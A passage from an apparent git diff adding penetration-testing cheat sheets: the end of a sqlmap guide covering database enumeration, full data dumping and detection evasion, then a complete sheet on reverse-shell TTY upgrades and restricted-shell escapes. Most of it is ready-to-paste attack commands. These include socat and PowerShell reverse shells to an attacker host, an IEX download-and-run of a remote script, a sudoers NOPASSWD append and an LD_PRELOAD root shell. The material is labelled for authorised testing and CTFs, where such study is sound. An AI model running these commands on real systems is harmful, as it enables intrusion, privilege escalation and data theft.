**User-Agent signature**: Default `sqlmap/1.x` header is fingerprinted by WAFs; use `--random-agent` +3. **Time-based blind delays**: Causes deliberate 5–10 sec delays per test; use `--technique=BEU` to exclude +4. **Log traces**: Visible in web server access logs, application logs, database logs, WAF/SIEM alerts +5. **Obvious SQL patterns**: Payloads contain `' OR 1=1`, `UNION SELECT`, `SLEEP()` signatures +6. **No stealth mode**: Use `--delay`, `--threads=1`, `--random-agent` for basic noise reduction (still detectable) + +--- + +### Common Errors & Solutions + +| Error | Solution | +|:---|:---| +| **unable to connect to target URL or proxy** | Check network; WAF may be blocking; try `--random-agent`, `--delay=2` | +| **parameter appears to be not injectable** | Increase detection: `--level=5 --risk=3`; try specific `--technique`; verify manually | +| **all tested parameters do not appear to be injectable** | Increase `--level` and `--risk`; check for WAF; try `--tamper` scripts | +| **connection timed out** | Use `--timeout=30`, `--retries=3`, `--technique=BEU`, `--threads=1`, `--disable-precon` | +| **heuristic test shows parameter might not be injectable** | Warning only; sqlmap continues testing; safe to ignore if parameter is vulnerable | + +--- + +### Version & Platform Notes + +1. Kali Linux ships with sqlmap 1.9+ (stable as of Jan 2025) +2. Update: `sudo apt update && sudo apt install sqlmap` +3. Run as: `sqlmap` (no `python sqlmap.py` needed on Kali) +4. Cookie testing requires `--level=2` minimum +5. User-Agent/Referer testing requires `--level=3` +6. Python 2.x support deprecated but still works; Python 3.x recommended + +--- + +## sqlmap Database Enumeration + +**Purpose**: Enumerate databases, current DB, current user, DBMS version/banner after SQL injection is confirmed + +**Prerequisites**: +1. SQL injection already identified (run detection first) +2. sqlmap session saved (or re-run with injection URL) +3. Network access to target +4. Authorised testing scope + +--- + +### Core Commands + +```bash +# List all databases +sqlmap -u "http://target.com/page.php?id=1" --dbs --batch +``` +*Retrieves names of all accessible databases on DBMS* + +```bash +# Show current database +sqlmap -u "http://target.com/page.php?id=1" --current-db --batch +``` +*Identifies which database the application is currently using* + +```bash +# Show current user +sqlmap -u "http://target.com/page.php?id=1" --current-user --batch +``` +*Reveals DBMS user account running the queries* + +```bash +# List all database users +sqlmap -u "http://target.com/page.php?id=1" --users --batch +``` +*Enumerates all DBMS user accounts* + +```bash +# Retrieve DBMS banner +sqlmap -u "http://target.com/page.php?id=1" --banner --batch +``` +*Obtains DBMS version and build information* + +```bash +# List tables in specific database +sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch +``` +*Shows all tables within specified database* + +```bash +# List columns in specific table +sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch +``` +*Retrieves column names and data types for specified table* + +```bash +# Exclude system databases from enumeration +sqlmap -u "http://target.com/page.php?id=1" --dbs --exclude-sysdbs --batch +``` +*Filters out `information_schema`, `mysql`, `sys`, `performance_schema`* + +--- + +### Options & Flags + +| Flag | Purpose | +|:---|:---| +| **--dbs** | Enumerate all databases | +| **--current-db** | Retrieve current database name | +| **--current-user** | Retrieve current DBMS user | +| **--users** | Enumerate all DBMS users | +| **--passwords** | Enumerate password hashes for users | +| **--privileges** | Enumerate user privileges | +| **--banner** | Retrieve DBMS version banner | +| **-D DATABASE** | Specify target database | +| **--tables** | Enumerate tables (requires `-D`) | +| **-T TABLE** | Specify target table | +| **--columns** | Enumerate columns (requires `-D` and `-T`) | +| **--exclude-sysdbs** | Skip system databases | +| **--schema** | Enumerate entire DBMS schema | +| **--count** | Retrieve row count for table | +| **-a** or **--all** | Retrieve everything (very slow) | + +--- + +### Practical Examples + +```bash +# Full enumeration workflow: databases → tables → columns +sqlmap -u "http://example.com/product.php?id=5" --dbs --batch +sqlmap -u "http://example.com/product.php?id=5" -D webapp --tables --batch +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --columns --batch +``` +*Standard three-step reconnaissance process* + +```bash +# Quick context: current DB and user +sqlmap -u "http://example.com/product.php?id=5" --current-db --current-user --batch +``` +*Fast initial reconnaissance of application database context* + +```bash +# List only user-created databases (exclude system DBs) +sqlmap -u "http://example.com/product.php?id=5" --dbs --exclude-sysdbs --batch +``` +*Focuses on application databases, ignoring DBMS internals* + +```bash +# Enumerate users and their privileges +sqlmap -u "http://example.com/product.php?id=5" --users --privileges --batch +``` +*Identifies potential privilege escalation paths* + +```bash +# Get DBMS version and current database +sqlmap -u "http://example.com/product.php?id=5" --banner --current-db --batch +``` +*Combined fingerprinting and context gathering* + +```bash +# Count rows in 'orders' table before dumping +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T orders --count --batch +``` +*Assesses data volume before committing to full extraction* + +--- + +### Output Interpretation + +| Output | Meaning | +|:---|:---| +| **Databases** | List of database names (e.g., `information_schema`, `mysql`, `webapp`, `testdb`) | +| **Current DB** | Single database name the application uses (e.g., `webapp`) | +| **Current user** | DBMS user running queries (e.g., `webapp_user@localhost`, `root@%`) | +| **Tables** | List of table names in specified database | +| **Columns** | Column names with data types (e.g., `id INT`, `username VARCHAR(50)`, `password_hash CHAR(64)`) | +| **Users** | DBMS user accounts (e.g., `root`, `admin`, `webapp_user`) | +| **Privileges** | User permissions (e.g., `SELECT`, `INSERT`, `FILE`, `SUPER`) | +| **Banner** | DBMS version (e.g., `MySQL 5.7.33-0ubuntu0.16.04.1`) | +| **Row count** | Number of rows in table (e.g., `12,543 entries`) | + +--- + +### OPSEC & Detection Considerations + +1. **High query volume**: Each enumeration step generates multiple queries; logged in DB and web server +2. **Enumeration queries stand out**: `SELECT schema_name FROM information_schema.schemata`, `SHOW TABLES`, etc. are obvious reconnaissance +3. **Time-based enumeration slowest**: Can take minutes per table; use `--technique=BEU` to exclude time-based +4. **System DB enumeration**: Querying `information_schema`, `mysql`, `sys` generates alerts in mature SOCs +5. **Repeated session reuse**: sqlmap saves session; re-running doesn't re-test injection but still generates enumeration traffic + +--- + +### Common Errors & Solutions + +| Error | Solution | +|:---|:---| +| **unable to retrieve tables for database 'X'** | Insufficient privileges; try different database or check `--privileges` | +| **unable to retrieve column names for table 'X'** | Table may not exist or access denied; verify with `--tables` first | +| **Session confusion** | Use `--flush-session` to start fresh | +| **Timeout during enumeration** | Use `--threads=1`, `--technique=BEU`, `--timeout=30` for unstable connections | +| **No results for --current-db** | Injection may be blind and slow; wait or try `--technique=U` (UNION-based is faster) | + +--- + +### Version & Platform Notes + +1. Enumeration syntax consistent across sqlmap 1.x versions +2. DBMS-specific differences: MySQL uses `information_schema`, MSSQL uses `sysobjects`, PostgreSQL uses `pg_catalog`; sqlmap handles automatically +3. Column data types vary by DBMS (e.g., MySQL `VARCHAR`, PostgreSQL `CHARACTER VARYING`, MSSQL `NVARCHAR`) + +--- + +## sqlmap Table Dumping & Data Extraction + +**Purpose**: Extract data (rows, columns, tables) from target database after enumeration + +**Prerequisites**: +1. SQL injection confirmed +2. Database and table names known (from enumeration phase) +3. Sufficient DBMS privileges (typically `SELECT`) +4. Network access and authorised scope + +--- + +### Core Commands + +```bash +# Dump entire table +sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch +``` +*Extracts all rows and columns from specified table* + +```bash +# Dump specific columns only +sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump --batch +``` +*Selective extraction (comma-separated, no spaces)* + +```bash +# Dump first 100 rows +sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --start=0 --stop=100 --batch +``` +*Paginated extraction (0-indexed, exclusive stop)* + +```bash +# Dump rows matching condition +sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --where="id>1000" --batch +``` +*Conditional extraction using SQL WHERE clause* + +```bash +# Dump all tables in database +sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump --batch +``` +*Extracts entire database (can be very slow)* + +```bash +# Dump all databases (extremely slow) +sqlmap -u "http://target.com/page.php?id=1" --dump-all --exclude-sysdbs --batch +``` +*Complete data exfiltration excluding system databases* + +--- + +### Options & Flags + +| Flag | Purpose | +|:---|:---| +| **--dump** | Extract data from table(s) | +| **-D DATABASE** | Specify database (required) | +| **-T TABLE** | Specify table (required unless dumping all) | +| **-C COL1,COL2** | Dump only specified columns (comma-separated, no spaces) | +| **--start=N** | First row to dump (0-indexed) | +| **--stop=N** | Last row to dump (exclusive) | +| **--first=N** | First character to retrieve per column entry | +| **--last=N** | Last character to retrieve per column entry | +| **--where="condition"** | SQL WHERE clause for conditional dump (e.g., `"id>100"`, `"date>'2024-01-01'"`) | +| **--dump-all** | Dump entire DBMS (all databases and tables) | +| **--exclude-sysdbs** | Skip system databases when using `--dump-all` | +| **--dump-format=FORMAT** | Output format: `CSV` (default), `HTML`, `SQLITE` | +| **--count** | Get row count before dumping | +| **--output-dir=DIR** | Custom output directory | + +--- + +### Practical Examples + +```bash +# Dump 'users' table from 'webapp' database +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --batch +``` +*Standard full table extraction* + +```bash +# Dump only 'username' and 'email' columns +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users -C username,email --dump --batch +``` +*Targeted extraction minimising data exfiltration footprint* + +```bash +# Dump first 50 users +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --start=0 --stop=50 --batch +``` +*Quick sample of table contents* + +```bash +# Dump admin users only (conditional) +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --where="role='admin'" --batch +``` +*Filtered extraction based on column value* + +```bash +# Count rows before dumping large table +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --count --batch +sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --dump --start=0 --stop=1000 --batch +``` +*Assessment before committing to extraction* + +```bash +# Dump all user-created databases (exclude system DBs, very slow) +sqlmap -u "http://example.com/product.php?id=5" --dump-all --exclude-sysdbs --batch +``` +*Complete data exfiltration (can take hours)* + +--- + +### Output Interpretation + +| Output | Meaning | +|:---|:---| +| **Dumped data location** | `~/.local/share/sqlmap/output/<target>/dump/` (Kali Linux) | +| **CSV format** | Default; files named `<database>/<table>.csv` | +| **Console output** | sqlmap prints table to terminal in ASCII table format | +| **Empty results** | Table may be empty or WHERE condition matches no rows | +| **Partial dumps** | `--start`/`--stop` limits shown; re-run with different ranges for more data | +| **Password hashes** | sqlmap automatically detects hashes and offers to crack | +| **Row count** | `Table 'users' dumped to CSV file (42 entries)` indicates number of rows extracted | + +--- + +### OPSEC & Detection Considerations + +1. **Extremely noisy**: Dumping generates hundreds to thousands of queries per table +2. **Data exfiltration signatures**: Large `SELECT` result sets trigger DLP/SIEM alerts +3. **Time-based blind slowest**: Can take hours for large tables; exclude with `--technique=BEU` +4. **Logs everywhere**: Web server access logs, application logs, database query logs, network traffic captures +5. **Automated cracking prompts**: sqlmap detects password hashes and asks to crack; answer `N` to skip or use `--batch` +6. **No stealth mode**: sqlmap prioritises speed over stealth; data extraction is inherently detectable + +--- + +### Common Errors & Solutions + +| Error | Solution | +|:---|:---| +| **unable to retrieve entries for table 'X'** | Access denied or table doesn't exist; verify with `--tables` and check `--privileges` | +| **connection reset by peer during dump** | Large result set or unstable connection; use `--threads=1`, dump in chunks with `--start`/`--stop` | +| **Timeout errors on large tables** | Use `--timeout=60`, `--technique=BEU`, dump in smaller chunks | +| **Out-of-memory errors** | Dumping millions of rows; use `--start`/`--stop` to paginate | +| **WHERE clause syntax errors** | Use single quotes inside double quotes: `--where="name='admin'"` (not `--where='name="admin"'`) | +| **No output for --dump** | Check `--count` first to verify rows exist; verify `-D` and `-T` are correct | + +--- + +### Version & Platform Notes + +1. sqlmap 1.9+ (Jan 2025) default output: `~/.local/share/sqlmap/output/` on Kali Linux +2. Older versions: `~/.sqlmap/output/` +3. CSV format default; HTML/SQLITE available with `--dump-format` +4. Password hash cracking requires separate tools ([hashcat](https://hashcat.net/hashcat/), [John the Ripper](https://www.openwall.com/john/)); sqlmap detects but doesn't crack inline by default in `--batch` mode + +--- + +## References + +1. [sqlmap GitHub Repository](https://github.com/sqlmapproject/sqlmap) +2. [sqlmap Official Website](https://sqlmap.org) +3. [sqlmap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage) +4. [sqlmap Features Documentation](https://github.com/sqlmapproject/sqlmap/wiki/Features) +5. [Burp Suite](https://portswigger.net/burp) +6. [hashcat](https://hashcat.net/hashcat/) +7. [John the Ripper](https://www.openwall.com/john/) + +--- + +#sqlmap #SQLi #WebAppSec #DatabaseEnum #DataExfiltration #PenetrationTesting #Kali #SQLInjection #AutomatedTesting diff --git a/src/content/sheets/exploitation/tty-and-escaping-restricted-env.md b/src/content/sheets/exploitation/tty-and-escaping-restricted-env.md @@ -0,0 +1,810 @@ +--- +title: "TTY and Escaping Restricted Env" +description: "After catching a dumb reverse shell (e.g. via netcat), you'll have no job control, no tab completion, no arrow keys, and commands like su and ssh won't…" +category: exploitation +tags: ["exploitation", "adcs"] +tools: ["Nmap", "Metasploit", "socat", "PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Exploitation/TTY and Escaping Restricted Env.md" +--- +# Interactive Shells & Restricted Shell Escapes — Cheat Sheet + +> A comprehensive reference for spawning interactive TTY shells from dumb/reverse shells, upgrading them to fully interactive terminals, and escaping restricted shell environments (rbash, rksh, rzsh, lshell, rssh). +> For use in authorised penetration testing, CTFs, and lab environments only. + +--- + +## Table of Contents + +- #1. Spawning a TTY Shell +- #2. Upgrading to a Fully Interactive TTY +- #3. Listener Setup (Attacker Side) +- #4. Escaping Restricted Shells +- #5. Windows Interactive Shells +- #6. Quick Reference + +--- + +## 1. Spawning a TTY Shell + +After catching a dumb reverse shell (e.g. via netcat), you'll have no job control, no tab completion, no arrow keys, and commands like `su` and `ssh` won't work. The first step is spawning a PTY/TTY. + +> [!tip] Check if you have a TTY +> Run `tty` — if the output is `not a tty`, you need to spawn one. + +### Python (Most Common) + +```bash +# Python 3 +python3 -c 'import pty; pty.spawn("/bin/bash")' + +# Python 2 +python -c 'import pty; pty.spawn("/bin/bash")' + +# Alternative (shorter import) +python3 -c "__import__('pty').spawn('/bin/bash')" + +# Using subprocess +python3 -c "__import__('subprocess').call(['/bin/bash'])" +``` + +### Script Command + +Works on most Linux systems even when Python is absent. This is often overlooked but very reliable. + +```bash +# Best method — works almost everywhere +/usr/bin/script -qc /bin/bash /dev/null + +# Alternative +script /dev/null -c bash +``` + +### Perl + +```bash +perl -e 'exec "/bin/bash";' + +# Alternative +perl -e 'system("/bin/bash");' + +# From within a Perl interpreter +exec "/bin/sh"; +``` + +### Ruby + +```bash +ruby -e 'exec "/bin/bash"' + +# From within IRB +exec "/bin/sh" +``` + +### Lua + +```bash +lua -e 'os.execute("/bin/bash")' + +# Alternative +lua5.1 -e 'os.execute("/bin/sh")' +``` + +### Awk + +```bash +awk 'BEGIN {system("/bin/bash")}' +``` + +### Find + +```bash +find / -exec /bin/bash \; -quit + +# Alternative +find . -exec /bin/sh \; -quit +``` + +### Nmap (Legacy — pre-2009 versions only) + +```bash +# Interactive mode (nmap versions before r17131 / May 2009) +nmap --interactive +!sh +``` + +### Expect + +```bash +expect -c 'spawn /bin/bash; interact' +``` + +Or create a script: + +```expect +#!/usr/bin/expect +spawn /bin/sh +interact +``` + +### Direct Shell Invocation + +```bash +/bin/sh -i +/bin/bash -i +echo os.system('/bin/bash') +``` + +### Using `env` + +```bash +env /bin/bash +``` + +### Using GNU Screen + +```bash +screen +``` + +--- + +## 2. Upgrading to a Fully Interactive TTY + +Spawning a PTY (step 1) gives you a better prompt but you still lack tab completion, arrow keys, Ctrl+C handling, and proper terminal sizing. The following methods give you a **fully interactive** shell. + +### Method 1: Python + stty (The Classic — Most Reliable) + +This is the standard method used by most pentesters. It works with any netcat-caught shell. + +**Step 1 — On the target (in your reverse shell):** + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +**Step 2 — Background the shell:** + +Press `Ctrl+Z` to suspend the reverse shell and return to your local terminal. + +**Step 3 — On your local machine (attacker):** + +```bash +# Note your terminal info (do this BEFORE the stty raw command) +echo $TERM # e.g. xterm-256color +stty -a # note rows and columns (e.g. rows 38; columns 116) + +# Set raw mode (this is the key step) +stty raw -echo; fg +``` + +> [!warning] zsh Users +> If you're using **zsh** (or Oh My Zsh), `stty raw -echo` and `fg` must be on the **same line** separated by a semicolon: `stty raw -echo; fg`. In zsh, if you run them as separate commands, the `-echo` effect is lost before `fg` executes. Alternatively, switch to `bash` before starting your listener. + +**Step 4 — Back in the reverse shell (after fg brings it back):** + +```bash +reset +export SHELL=bash +export TERM=xterm-256color +stty rows 38 columns 116 +``` + +You now have a **fully interactive TTY** with tab completion, arrow key history, Ctrl+C handling, clear screen, and proper terminal sizing. + +### Method 2: `script` + stty (When Python is Unavailable) + +Replace the Python step with: + +```bash +/usr/bin/script -qc /bin/bash /dev/null +``` + +Then continue with the same `Ctrl+Z` → `stty raw -echo; fg` → `reset` → `export` workflow from Method 1. + +### Method 3: Socat (Full TTY in One Step) + +If socat is available on both machines, this gives an instant fully interactive shell — no stty trickery needed. + +**Attacker (listener):** + +```bash +socat file:$(tty),raw,echo=0 tcp-listen:4444 +``` + +**Target (reverse shell):** + +```bash +socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444 +``` + +If socat isn't installed on the target, upload a static binary: + +```bash +# Download static socat to target +wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat +chmod +x /tmp/socat +/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444 +``` + +### Method 4: rlwrap (Attacker-Side Enhancement) + +`rlwrap` wraps your netcat listener and gives you readline features (arrow keys, history, Ctrl+L to clear) without modifying the target at all. Install with `sudo apt install rlwrap`. + +```bash +# Enhanced listener +rlwrap nc -lvnp 4444 + +# With history-based completion +rlwrap -r -f . nc -lvnp 4444 +``` + +> [!note] +> `rlwrap` gives you arrow keys and history on your side but doesn't fix `su`, `ssh`, or Ctrl+C on the target. It's a quick improvement, not a full upgrade. Combine it with the Python + stty method for the best experience. + +### Method 5: pwncat-cs (Automated — Recommended) + +[pwncat-cs](https://github.com/calebstewart/pwncat) (Caleb Stewart's version) automatically upgrades shells to fully interactive PTYs with file transfer, persistence, and enumeration built in. + +```bash +# Install +pip install pwncat-cs + +# Listener (catches and auto-upgrades) +pwncat-cs -lp 4444 + +# Or connect to a bind shell +pwncat-cs connect -t <TARGET_IP> -p 4444 +``` + +Once connected, press `Ctrl+D` to drop into a local pwncat prompt for file transfers, enumeration, etc. + +--- + +## 3. Listener Setup (Attacker Side) + +### Netcat Listeners + +```bash +# Standard +nc -lvnp 4444 + +# With rlwrap (arrow keys + history) +rlwrap nc -lvnp 4444 + +# Netcat OpenBSD (no -e support) +nc -lvnp 4444 + +# Ncat (Nmap's netcat — supports SSL) +ncat --ssl -lvnp 4444 +``` + +### Socat Listener (Full TTY) + +```bash +socat file:$(tty),raw,echo=0 tcp-listen:4444 +``` + +### Metasploit multi/handler + +```bash +msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST <IP>; set LPORT 4444; run" +``` + +### pwncat-cs + +```bash +pwncat-cs -lp 4444 +``` + +--- + +## 4. Escaping Restricted Shells + +Restricted shells (rbash, rksh, rzsh, lshell, rssh) limit what commands you can run, prevent `cd`, restrict PATH changes, and block redirection. The goal is to break out into an unrestricted shell. + +### Reconnaissance — Identify Your Restrictions + +```bash +# What shell am I in? +echo $SHELL +echo $0 +cat /etc/passwd | grep $(whoami) + +# What can I do? +echo $PATH +echo /usr/bin/* # Globbing to list available binaries +echo /bin/* +echo /usr/local/bin/* + +# Double-tap Tab to list available commands +# (press Tab twice at an empty prompt) + +# Check for environment variables +env +export + +# Check sudo permissions +sudo -l + +# Check SUID binaries +find / -perm -4000 -type f 2>/dev/null +``` + +> [!info] Common Restricted Shell Error Messages +> - **rbash:** `bash: /usr/bin/command: restricted: cannot specify '/' in command names` +> - **lshell:** `*** forbidden command: command` +> - **rksh:** `ksh: command: restricted` +> - **rzsh:** `zsh: restricted` + +### Direct Shell Escape Techniques + +#### If `/` is Allowed in Commands + +```bash +/bin/sh +/bin/bash +/bin/dash +``` + +#### Copy a Shell to Your PATH + +```bash +cp /bin/bash . +./bash +``` + +#### Modify PATH + +```bash +export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +``` + +#### BASH_CMDS Trick (rbash) + +```bash +BASH_CMDS[a]=/bin/sh;a +# Then fix your PATH: +export PATH=$PATH:/bin:/usr/bin +``` + +#### Assign Shell in a Variable + +```bash +SHELL=/bin/bash +exec /bin/bash +``` + +### Escape via Text Editors + +#### vi / vim + +```vim +:set shell=/bin/bash +:shell +``` + +Or: + +```vim +:!/bin/bash +``` + +#### ed + +``` +!'/bin/bash' +``` + +Or: + +``` +ed +!/bin/sh +``` + +#### ne (Nice Editor) + +Load a shell command from within ne's command execution feature, or abuse its config file loading to read arbitrary files. + +#### nano + +``` +Ctrl+R → Ctrl+X → command to execute +``` + +> [!note] +> This executes a command from within nano's "Read File" → "Execute Command" feature. + +### Escape via Pager Commands + +#### less + +```bash +less /etc/passwd +!/bin/bash +``` + +#### more + +```bash +more /etc/passwd +!/bin/bash +``` + +> [!tip] +> `less` and `more` only drop to a shell prompt if the file is longer than one screen. If needed, use a large file or pipe: `cat /etc/passwd /etc/passwd /etc/passwd | less` + +#### man + +```bash +man ls +!/bin/bash +``` + +#### pinfo + +```bash +pinfo ls +! # Press ! at the pinfo prompt +/bin/bash +``` + +### Escape via Programming Languages + +#### Python + +```bash +python3 -c 'import os; os.system("/bin/bash")' +python3 -c 'import pty; pty.spawn("/bin/bash")' +python3 -c '__import__("subprocess").call(["/bin/bash"])' +``` + +#### Perl + +```bash +perl -e 'exec "/bin/bash";' +perl -e 'system("/bin/bash");' +``` + +#### Ruby + +```bash +ruby -e 'exec "/bin/bash"' +``` + +#### Lua + +```bash +lua -e 'os.execute("/bin/bash")' +``` + +#### PHP + +```bash +php -r 'system("/bin/bash");' +``` + +#### IRB (Interactive Ruby) + +```ruby +exec "/bin/sh" +``` + +#### Node.js + +```bash +node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})' +``` + +#### Expect + +```bash +expect -c 'spawn /bin/bash; interact' +``` + +### Escape via System Commands + +#### awk + +```bash +awk 'BEGIN {system("/bin/bash")}' +``` + +#### find + +```bash +find / -exec /bin/bash \; -quit +``` + +#### ftp + +```bash +ftp +!/bin/bash +``` + +#### gdb + +```bash +gdb -nx -ex '!bash' -ex quit +``` + +#### nmap (Legacy) + +```bash +# Only works on old nmap versions (pre-2009) +nmap --interactive +!sh +``` + +#### git + +```bash +git help config +!/bin/bash + +# Or +git -p help +!/bin/bash + +# Or via GIT_PAGER +PAGER='/bin/bash' git -p help +``` + +#### zip + +```bash +zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash" +``` + +#### tar + +```bash +tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash +``` + +#### tee + +```bash +echo "user ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers +``` + +#### script + +```bash +script -qc /bin/bash /dev/null +``` + +#### env + +```bash +env /bin/bash +``` + +#### scp + +```bash +TF=$(mktemp) +echo 'bash 0<&2 1>&2' > $TF +chmod +x $TF +scp -S $TF x y: +``` + +### Escape via SSH + +If you have SSH credentials for the restricted user: + +```bash +# Force a pseudo-terminal with a proper shell +ssh user@target -t "/bin/bash" +ssh user@target -t "/bin/sh" + +# Bypass profile/bashrc restrictions +ssh user@target -t "bash --noprofile" +ssh user@target -t "bash --norc" +ssh user@target -t "bash --noprofile --norc" + +# ShellShock (CVE-2014-6271) — if vulnerable +ssh user@target -t "() { :; }; /bin/bash" +``` + +### Escape via Environment Variables + +#### Overwrite PATH + +```bash +export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH +``` + +#### LD_PRELOAD (if sudo is available) + +```bash +# If sudo -l shows env_keep+=LD_PRELOAD +# Compile a shared library: +# --- shell.c --- +# #include <stdio.h> +# #include <sys/types.h> +# #include <stdlib.h> +# void _init() { +# unsetenv("LD_PRELOAD"); +# setgid(0); +# setuid(0); +# system("/bin/bash"); +# } +gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles +sudo LD_PRELOAD=/tmp/shell.so <allowed_command> +``` + +#### BASH_ENV / ENV + +```bash +# If the restricted shell sources BASH_ENV on startup +echo '/bin/bash' > /tmp/evil.sh +export BASH_ENV=/tmp/evil.sh +bash +``` + +### Escape via Startup Files + +If you can write to `~/.bashrc`, `~/.bash_profile`, `~/.profile`, or similar: + +```bash +# Add to .bashrc or .profile +/bin/bash + +# Or modify PATH +PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +``` + +Then log out and log back in (or source the file). + +### Escape via Wildcards & Globbing + +If `echo` is available but `ls` is not: + +```bash +echo /usr/bin/* # List binaries +echo /home/* # List home directories +echo /etc/pass* # Read passwd +``` + +If `cp` is available: + +```bash +cp /bin/bash /home/user/allowed_dir/bash +./allowed_dir/bash +``` + +--- + +## 5. Windows Interactive Shells + +### PowerShell Reverse Shells + +```powershell +# One-liner +$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +``` + +### ConPtyShell (Fully Interactive Windows Shell) + +Uses Windows Pseudo Console (ConPty) — available on Windows 10/Server 2019 build 17763+. This gives a **true interactive shell** with full terminal features. + +**Attacker:** + +```bash +stty raw -echo; (stty size; cat) | nc -lvnp 3001 +``` + +**Target (PowerShell):** + +```powershell +IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <ATTACKER_IP> 3001 +``` + +### Upgrading Windows Shells + +```powershell +# Check if you're in a constrained language mode +$ExecutionContext.SessionState.LanguageMode + +# Bypass constrained language mode (if possible) +powershell -version 2 # Downgrade to PS v2 (no AMSI, no CLM) +``` + +--- + +## 6. Quick Reference + +### Shell Upgrade Workflow (Copy-Paste Ready) + +```bash +# ===== STEP 1: On target — spawn PTY ===== +python3 -c 'import pty; pty.spawn("/bin/bash")' +# If no Python: +/usr/bin/script -qc /bin/bash /dev/null + +# ===== STEP 2: Background the shell ===== +# Press: Ctrl+Z + +# ===== STEP 3: On attacker — configure terminal ===== +stty raw -echo; fg +# (for zsh users, this MUST be one line) + +# ===== STEP 4: Back on target — finalise ===== +reset +export SHELL=bash +export TERM=xterm-256color +stty rows <ROWS> columns <COLS> +``` + +### One-Liner TTY Spawn Quick Reference + +| Language/Tool | Command | +|---------------|---------| +| Python 3 | `python3 -c 'import pty; pty.spawn("/bin/bash")'` | +| Python 2 | `python -c 'import pty; pty.spawn("/bin/bash")'` | +| script | `/usr/bin/script -qc /bin/bash /dev/null` | +| Perl | `perl -e 'exec "/bin/bash";'` | +| Ruby | `ruby -e 'exec "/bin/bash"'` | +| Lua | `lua -e 'os.execute("/bin/bash")'` | +| Awk | `awk 'BEGIN {system("/bin/bash")}'` | +| Find | `find / -exec /bin/bash \; -quit` | +| Expect | `expect -c 'spawn /bin/bash; interact'` | +| sh -i | `/bin/sh -i` | +| env | `env /bin/bash` | +| Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` | + +### Restricted Shell Escape Quick Reference + +| Vector | Technique | +|--------|-----------| +| **BASH_CMDS** | `BASH_CMDS[a]=/bin/sh;a` then `export PATH=$PATH:/bin:/usr/bin` | +| **vi/vim** | `:set shell=/bin/bash` → `:shell` or `:!/bin/bash` | +| **ed** | `!'/bin/bash'` | +| **less/more/man** | `!/bin/bash` from within the pager | +| **awk** | `awk 'BEGIN {system("/bin/bash")}'` | +| **find** | `find / -exec /bin/bash \; -quit` | +| **python** | `python3 -c 'import os; os.system("/bin/bash")'` | +| **perl** | `perl -e 'exec "/bin/bash";'` | +| **ftp** | `!/bin/bash` from the ftp prompt | +| **git** | `git help config` → `!/bin/bash` | +| **ssh** | `ssh user@host -t "bash --noprofile"` | +| **script** | `/usr/bin/script -qc /bin/bash /dev/null` | +| **nano** | `Ctrl+R` → `Ctrl+X` → type command | +| **zip** | `zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"` | +| **tar** | `tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/bash` | +| **gdb** | `gdb -nx -ex '!bash' -ex quit` | +| **env** | `env /bin/bash` | +| **cp** | `cp /bin/bash .; ./bash` | +| **PATH** | `export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin` | + +### Socat Full TTY (Copy-Paste Ready) + +```bash +# Attacker: +socat file:$(tty),raw,echo=0 tcp-listen:4444 + +# Target: +socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444 +``` + +--- + +## Resources + +- [GTFOBins](https://gtfobins.github.io/) — Unix binaries that can be exploited for shell escapes, file reads, SUID abuse, and more. +- [ropnop — Upgrading Simple Shells](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) — The original definitive blog post on TTY upgrades. +- [PentestMonkey — Post-Exploitation Without a TTY](https://pentestmonkey.net/blog/post-exploitation-without-a-tty) — Classic reference. +- [Exploit-DB — Linux 